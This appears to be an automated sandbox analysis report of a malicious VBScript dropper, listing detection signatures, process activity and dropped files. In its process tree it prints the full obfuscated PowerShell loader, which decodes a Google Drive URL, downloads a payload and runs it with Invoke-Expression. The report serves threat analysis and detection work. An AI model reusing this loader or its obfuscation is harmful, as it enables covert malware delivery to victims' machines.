Overview

overview

8

Static

static

1

exp_exporter-175.vbs

windows7-x64

8

exp_exporter-175.vbs

windows10-2004-x64

8

Analysis

  • max time kernel
    125s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/06/2024, 01:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    exp_exporter-175.vbs
  • Size 21KB
  • Sample240613-bvpfdaygrd
  • SHA256 99bd8aa333b6ffd5cb83c7e4b5b4e0925cb402816ba3107eba1711ffcc21b9db
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
execution

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\exp_exporter-175.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle 1 "$Vildene = 1;$Garnetter='ring';Function Afholdtes($Tunnelbanens){$Suncherchor=$Tunnelbanens.Length-$Vildene;$Lovningerne='Subst'+$Garnetter;For( $Klatsch=7;$Klatsch -lt $Suncherchor;$Klatsch+=8){$Cardiogenesis+=$Tunnelbanens.$Lovningerne.Invoke( $Klatsch, $Vildene);}$Cardiogenesis;}function Dejsendes($Unmimicked){ &($Tmrermestre) ($Unmimicked);}$Festugens=Afholdtes ',pbowkaMV.riceloDityramzF bromyi Mouth lDissla lUnrakedaPeer.ss/ Sgnehe5Dis alu.Coulome0Onerary Listesi( oweni.WEternaliRattlehnThermotdMisotraowrongouwTjs inas Manker .elefonNCassowaTSm eskr Misbeco1Ngleper0darwini.Hydraem0Tappema;Kred to boatle.W Forha.iTalsy,tnHovedpr6Sammens4 Ge,man;Frstebi Sciapodxsi kwor6Mernedi4Ar less;forbred TermogrrIliopsovUnresen:O,mforh1 Fremme2Vasecto1Materia.Deciphe0 Kuvert) Glasv, Vi.terlGInimitaeafsa.tecPanneurkVddelbeoLord ie/Vgtklas2 Dybroe0Leani.g1sdvan r0Starrin0Hemer,l1 Iodizi0Gregar,1Decemf. Slowmo.FChiasmaiUnq.arrr Grave,e DifferfGamiestoCheilotxGran sm/ Whi.re1Meso.om2Baandaf1Severa,.car,apt0Samojed ';$Totalforbuds=Afholdtes 'RatooosUKvaslyosBevogtneEndoparr noncom-te.rapiAElogi,mgT,cksmaeLicencenImpostitSuperwo ';$Adactylous=Afholdtes ' Zusa nh Withhet SynonytS oolssp DessersHaneysn:Defiber/ byg el/BlodstydDansersrFejlfi.igorryu.v Te omaePheny d.UskoledgSeacockoOvreomaoEel estgblindesl QuinuceBetjeni.acet.necCithrenoThermalmMischar/StvregnuProtot.cDatadiv?Cyto taeDeadnesxReferatpGudsjamoG,nitivrKernebitnasaliz=AndrietdStilethoClaggedwMilkworn Nonci.lLivseneoDosain aIn rinsd Savskr& comm.niAbstr.cdhel eni=Albrigh1StiltifSSpringb8 SmaakrGSpaltenx SulfonnAppanagGiridianoTricias2 EfterpVSan tarLUrfjeldN Omgaard DitmaroDemiparDReservavKalvekriHawks eptwiddlehApatiteG craspe2T,opensRSspbeicbCheckwedHy teroUbrugessuLsesumlSFr dninRInspire_Non,ntezUnterre2dextromLExcogitRpr,exer ';$Crissal=Afholdtes 'Stormkl>Cl.bmon ';$Tmrermestre=Afholdtes 'Scoundri enstareFravrisxH,giejn ';$Lugningen='Snedkeriernes';$pladsbilletter = Afholdtes 'ischaeme DevelocRecappih F,uitloNongove Opkast%Supermaa Desmopp PharmapRingvrad CauteraBogprodt Magnetaopryk.i% Finger\CombinaM.thabasaFrsteharTilst.ki OmdiritGla.skai.oaliti1L plukk8Diapnot7Thurmvu.StationdDambonioGangb,ec ,orevi mixermu& Behage&Klumme. primitiePasske.cTemperahReinvokor mnden ReshovetF riebr ';Dejsendes (Afholdtes '.inuati$haplologLnkontolNeurol.oUvurderbReadj.saDksmagela.tieli:IndemniPDam,scerskibskie SukkercAnazotuiRenssans .nmusiiInradiio.astorinD monetisett,essChronoseErythra=Civiliz(Crim.nac OverlomAdminisdstartvr Abettin/TuumbuscEpi,kop F,jtesp$BletonipAscensil myo alaCougherdShet ans MiljrebReceptaiu.kikstlLeeuwenl Fremske rgskont smalmutDomsudse Temperr.adioak)Outingt ');Dejsendes (Afholdtes 'Visigot$UnregargForsterlDukelinoHreskadbPrickleaSpindsvlrefor.b: NightwuRe ensenPa ahelh Ubesvau Ma steeKuru.aydDrsprkk=Skalrta$Trefag APterospdUds,drea partiscFalmeret Maskiny BouldelKlassetoSydpaauuBed.cassDefinit.GenersisNummerbpM,stnkelDemagogiTier.ybtEarjewe(Konkurr$ForkwisC IrreturTungeraiForgyldsSaltoers UdklknaSynkr.nlD.river)Underc, ');$Adactylous=$unhued[0];$Retsprsidentens= (Afholdtes 'Harcele$ Noncr,gAsportplPesewaso Kalen,b Sang raMuscicolSilpast:LuftlinF spirane rudimer,aldesydAnatocii SkyndtaSitua,id Standa=Unpr gnNDesori.eSilkworw,yvelri-Arres,oOCalmin.bUnregenj ForaareGervindc AutotatEksport Miljl.SCikadenyPj.kedes SyriaktKe.stoneWaspenom Pi.eco.BrushupNRisikobeStrbeklt.igroma.B aaskiWOtoneure Bybuspb TeamleC Fisticl mugkroiSakrosaeGullyinnWoo.crat');$Retsprsidentens+=$Precisionise[1];Dejsendes ($Retsprsidentens);Dejsendes (Afholdtes 'Cos,oid$StenogrF Foll.ceUntun frLigulesdPr ikatiAarsun aSimenazdgast ns.UnqueruHBamsenmeLeuk,toaBlaaalgd InteraemaveskkrAcademisGulpe,s[bredste$WaygoneTC.rousioDeployetDentalea SpockhlStertilf restrioEmaciatr.undreabSuetsesu In.krsdaktivitsanticho]Klapsa,=Kraftfu$OmgaaelFAmtsraae Gla blsTaxidert ContinuKomarchgOrange,eAntid nnBesvangsSta,dar ');$sardanas=Afholdtes 'Ni orou$Crutch.F UngladeMonoglyr Gru dbd.ulterki,mkkernaBitestidModalis. FortllD Mblereo rushnswGyptolonemmelinlTalerstoJasigeraClearindFlipoveF GuatemiIntercolNarratoe Frokos(Borgmes$SemibasAgthedendUdenomsaSn.dkrecCataloot smaaboyPl.nderl Elast o.adiousu,raveltsBio,yna,Rowlock$GennemkFUnmesmeoAfskiltrSandblssInshadeoSheughso MisgaukFinland)Nglepro ';$Forsook=$Precisionise[0];Dejsendes (Afholdtes 'Re.ulat$Mascledg .ntigrl idragsoInga.drbDece,viaManholelSikkerh:NettoomGMishareaAmniocldUgemagaiUhe.bredMachicosUnfasci=,etallu( Op,halToppass eHaan.vrsBrugerrtNedskr -KlyngehPVedligeaForestit.vmmefdhDeinksp Klamphu$ ForlysF EthionoHushpuprMementos GabelloF rgodtoGe stvekGra,far)Hoved.a ');while (!$Gadids) {Dejsendes (Afholdtes 'Regning$ PantergstrbepilInexpuno Tillerb.ignicoaOlava.al eklama:NovicelMSy.cateoFlereeto Efterbn F,tosys Folk,lh SammeniD.ckersnUstrukteMattiassBronkit= Watt.e$Kerne,atTowerprr SeleucuPa.domeeeyewi,n ') ;Dejsendes $sardanas;Dejsendes (Afholdtes 'FlicsyrSLu.gerrtNonfilta ZinnnirEnnuyintAgra,un-NonhypoSsuperinlArchimoeLaseredeOwnsknipdecert, Brocher4.awkeys ');Dejsendes (Afholdtes 'Udgaven$ChemosugE.rycerlSubpeduo DeatorbThinksmaSter,sol keleto:LeatherG PachalaBeskre dDigestiiSka tetdUdve,edsMadelin=Collaps(Entr.atT,formideBrunkulsHomospotEneprok-SubwayePHenhrtaaBlindfot Hjre.fh kaaret reb,kef$ AlismaFSkulkeroBehaviorPostmeds AfgassoTran amo Decor kCy lomy)Erkunde ') ;Dejsendes (Afholdtes 'Tae ioi$ PredisgBo.vrkllmostfjeo.rsamfubMellemva XantholDi.lyma:.ilithsImtriksfn TilrinfJournallTu,mleruEspleeseCumalasnleve inzFodsa,la convocemallearpmoderniiBuldogsdUnpunise CushiemCristeliOverdro= Beg,nd$P prikagMugw,mplTour edo UmuligbEmeriz,aUdtmtkjlStereoc:stylterMSesquiboHjrejust.elarbeiHeadlinoSnd gsbnHollndesafprvni+Aagresb+Encoded%Se.rrig$,onpreduDo,umennTidebnnhDesorgauArbejdseScoringdTa.ehre.BedoemmcCiseleroBorgfreuMan,iocnSept,mbtJuridi ') ;$Adactylous=$unhued[$Influenzaepidemi];}$ideografis=338796;$Ungdyrets=29419;Dejsendes (Afholdtes 'Pestif,$T.okratgNasalizlUdk.petoherrerkbDa,ligdaO,twalklStaaend: Mi,assENa urfalEntero eTransskc.troppetTvrorgarBilledboMimicalcOphvelsusantonil Abs.istKolonieuAditio,rStu.tereWabbli .oberma=R,ktifi UnwoveGUnreplye .acifytDov cot-Beton,kC FeudaloSannyspnStaalsttSen orhe Ko,reknPisci atTredve Letvgts$UdgiftsFCl.nesloBrne,avrSlasketsOp ejsnochocks.o Coarsek karton ');Dejsendes (Afholdtes 'Garbedt$ ForstrgOverfrvlVaadstroElskereb S,deblaSubkontlForplej: De tabTLgehusei,candall Ottekal KontiniDomineedVrdihefsSto.aksv NonrevoSubsseltsurveyauT,chnolmTub rcum Afsnite ammentIncle,esRdstrmp1indic.e1Demarka2synd cs Underdr=Produca Futzesp[ HierocSFacedo ySvi enssGennem tU,ryggeeT.ljeprmUnfatal.BlodtrsCPresentoKernetrn Nicotiv Kapelme.aprogerSitcomstMesquit]Fallibl: ,losso:DiamondFTra,secrknokkeloJuliettmSkvaldeBSteriliaGene ersBetageseGypsop 6Opredte4LrredsbSeutonist .edlamr pgefugi SprogfnDour.rsgStrings(superel$OrangutERainbowlRefertieacturiec Inhabit Term.nrZeat.kso Selvfoc Kobbe.uM.ladvel.ntersqtFilipp uIncessar GlucideArbejd )Boret l ');Dejsendes (Afholdtes ' imail$ Stamakg Kis egl FortidoBrand tbThyrolia SclerolU,propo:SyncretWPektin,aVarmekirOverintm BirchmeIsterfld sup.rsl NonfelyBe.ving Antrits=stillin K,ydsmo[ .ncostSIndtegnyHal,tims UnblintPrograme fl.dlemSpatang. AltiplTLaminatePseudohxForlaentMomenta..ykkeruEBandyb n Indsu cBasilicoMar,uetdUp urreiHel.eninSemiepigHjrstet]Fo,skni: Samle.:UnianguATalformSamphi.hCUnscentICetiosaI Cuisse.LallygaGForsa.eeRm rglatEupat.rSSpigrentDr.wboyr Stol ei PrayrenAendretg Halsst(Gambel.$GlemndyTWasher.iMy piasl adisel Highlii Skilt,d ysfatisLucubravKv,ndeko Coa.amtJe idemuStueursmT.rretlmMenneskeUni.eritbedstedsF.llern1Uretern1Piskend2Consula) Kil rg ');Dejsendes (Afholdtes 'Chromat$OutrategSupersulRickispoSolidarbBestowaa,igratolGarment:Morsomht ,almanrVisscraomicha,lnExtortip PrimasrfabrikstTrgrns eIndb.fon Fe inidSgnehele.fvigennKl.vsygthypernueProgramnForsgsasBandlim=Prelat $Ex ruciWPluraliaIr nderrAmentiamPejl.dee O erskdTidln fl ReklamySorter,.Reflekss DambruusolidarbExaminisEsthesitBlegnberPocooxyiDematern Mi.jbeg.torman(P.eudom$LuksusjiGar,ntidVeinssoe okumero .ylendgVakuumbrIndu,traProduktfParfum,iGiggliesSjael e,Apodeme$ Dej,igUCompartnTarnishgLord ladSpectroyKul rner A.tenueEksplo.t Bakk,nsPr xino)Caste,l ');Dejsendes $tronprtendentens;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:220
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Mariti187.doc && echo t"
        3⤵
          PID:2748
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4184,i,11751898164297348119,13021661521765644467,262144 --variations-seed-version --mojo-platform-channel-handle=3812 /prefetch:8
      1⤵
        PID:5052

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            Sagnagtigt.txt
            • Path C:\Users\Admin\AppData\Local\Temp\Sagnagtigt.txt
            • Size 5KB
            • SHA256 19d6df11d978940b0c5c59f05de967ce70c0699c718aaafe0301b73d4edc829b
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            Sagnagtigt.txt
            • Path C:\Users\Admin\AppData\Local\Temp\Sagnagtigt.txt
            • Size 7KB
            • SHA256 8029e40a7c5275e67fe91a455ed3714ee78d39ee173e68bc4a7577216b77b18d
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            Sagnagtigt.txt
            • Path C:\Users\Admin\AppData\Local\Temp\Sagnagtigt.txt
            • Size 1KB
            • SHA256 48b6f95e782836d2084eda5f4bb2f475843973f9eaaa86263de26b972e7f0654
            • MD5 SHA1 SHA512
            Submit Download

            __PSScriptPolicyTest_giwbdhar.0lh.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_giwbdhar.0lh.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512
            Submit Download

            memory/220-313-0x00007FFB0E0C3000-0x00007FFB0E0C5000-memory.dmp
            Download

            memory/220-323-0x000001D442E30000-0x000001D442E52000-memory.dmp
            Download

            memory/220-324-0x00007FFB0E0C0000-0x00007FFB0EB81000-memory.dmp
            Download

            memory/220-325-0x00007FFB0E0C0000-0x00007FFB0EB81000-memory.dmp
            Download

            memory/220-328-0x00007FFB0E0C0000-0x00007FFB0EB81000-memory.dmp
            Download

            memory/220-329-0x00007FFB0E0C0000-0x00007FFB0EB81000-memory.dmp
            Download

            memory/220-332-0x00007FFB0E0C0000-0x00007FFB0EB81000-memory.dmp
            Download